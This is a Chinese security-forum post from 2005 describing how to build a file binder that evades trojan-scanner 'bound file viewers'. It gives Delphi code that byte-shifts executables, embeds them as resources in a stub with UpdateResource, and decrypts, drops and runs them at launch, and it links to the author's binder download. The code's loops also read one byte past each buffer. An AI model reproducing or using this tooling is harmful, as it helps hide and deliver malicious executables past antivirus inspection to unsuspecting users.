|
作者: yoyo989898 [yoyo989898] 论坛用户 | 登录 |
自从也不知道谁写的一个捆绑文件查看器后,文件合并器的生命就。。。。。了~ 上次看见mjbinder和蔬菜合并器不会被捆绑文件查看器查出来,一直就郁闷。(不知道原理当然郁闷了)的确查不出来但是用PEID扫描可以发现有附加数据。但是大家写程序的时候都用过资源吧,文件保存在资源里是不会被合并文件查看器发现的。所以把文件放到资源中就可以实现不被查和提取(呵呵~不是杀哦~)。 但是资源都是程序搞的时候自己作个资源脚本,编译的时候直接编译进去的,所以现在要作不被查的合并器都是手工实现。。。用资源方式保存EXE等文件在stub里面。运行stub的时候把文件释放出来,然后再用ShellExecute关联运行。但是每次这样搞人都挂了。翻翻MSDN发现一条函数:UpdateResource 作过汉化软件的朋友都知道这个函数干吗用的,就是更新资源用的。现在大家都明白了吧,就是用这个函数更新资源(写过汉化软件的朋友都知道)。 不过后来发现,那个什么来着木马克星捆绑文件查看器,可以查出有3个文件头(我是合并记事本+计算器的)~大问题呀,赶紧解决。修改一下,把资源加密后再存放成资源,具体代码: procedure bindfiles; var f1: File; contents: PChar; NumRead: integer; iSize: integer; i: integer; hBeg: DWORD; begin AssignFile(f1,od1.FileName);//打开文件(就是你要合并的文件--这里是指资源) Reset(f1, 1);//准备写入 iSize := FileSize(f1);//返回文件大小 GetMem(contents, iSize);//申请一个足够大的空间 BlockRead(f1, contents^, iSize, NumRead);//开始写入contents变量 CloseFile(f1);//关闭文件 //下面开始加密contents变量了~ for i := 0 to iSize do begin if (Ord((contents+i)^) = 255) then begin (contents+i)^ := Chr(1); end else if Ord((contents+i)^) = 0 then begin (contents+i)^ := Chr(0); end else begin (contents+i)^ := Chr(Ord((contents+i)^) + 1); end; end; //加密完毕~开始更新资源 hBeg := BeginUpdateResource(PChar(ExtractFilePath(ParamStr(0)) + 'stub.exe'), FALSE); //打开找到需要更新的主宿文件(就是我们需要的stub.exe) if (hBeg = 0) then Exit;//没有找到就退出 UpdateResource(hBeg, 'RT_RCDATA','DNA1', 1033, contents, iSize); //起个名字叫DNA1~语言是1033~存放在RT_RCDATA里面 EndUpdateResource(hBeg,FALSE);//更新资源完毕~ FreeMem(contents);//释放contents~ end; 没了,聪明的你一定能看懂。有个半成品,大家去http://Anskya.ys168.com下载Blue seed binder 0.1(暂时只是测试版本,有很多BUG)。合并的时候请把合并器解压到一个文件夹里再运行(也是BUG~555~过几天学校稳定下来再改改)。 stub运行的时候先载入资源再解密然后存到硬盘上~运行。 stub code: procedure resfree(s:pchar;var x:pchar); var hand : THandle; var hRes : THandle; var iSize : integer; var pData : PChar; var pCont : PChar; var iWrote : integer; var f1 : file; var i : integer; begin //寻找指定的资源 hand := FindResource(HInstance, s, 'RT_RCDATA'); if (hand = 0) then Exit; hRes := LoadResource(HInstance, hand); if (hRes = 0) then Exit; iSize := SizeofResource(0, hand); if (iSize = 0) then Exit; pCont := LockResource(hRes); GetMem(pData, iSize); //解密过程~ for i := 0 to iSize do begin (pData+i)^ := (pCont+i)^; end; for i := 0 to iSize do begin if Ord((pData+i)^) = 1 then begin (pData+i)^ := Chr(255); end else if Ord((pData+i)^) = 0 then begin (pData+i)^ := Chr(0); end else begin (pData+i)^ := Chr(Ord((pCont+i)^) - 1); end; end; //解密完毕~开始写入硬盘~ AssignFile(f1, PChar(x)); Rewrite(f1, 1); BlockWrite(f1, pData^, iSize, iWrote); CloseFile(f1); FreeMem(pData); end; 如何?这样就可以把资源还原保存出来了。不过这样只是其中的一个方法。 |
地主 发表时间: 05-03-18 16:26 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号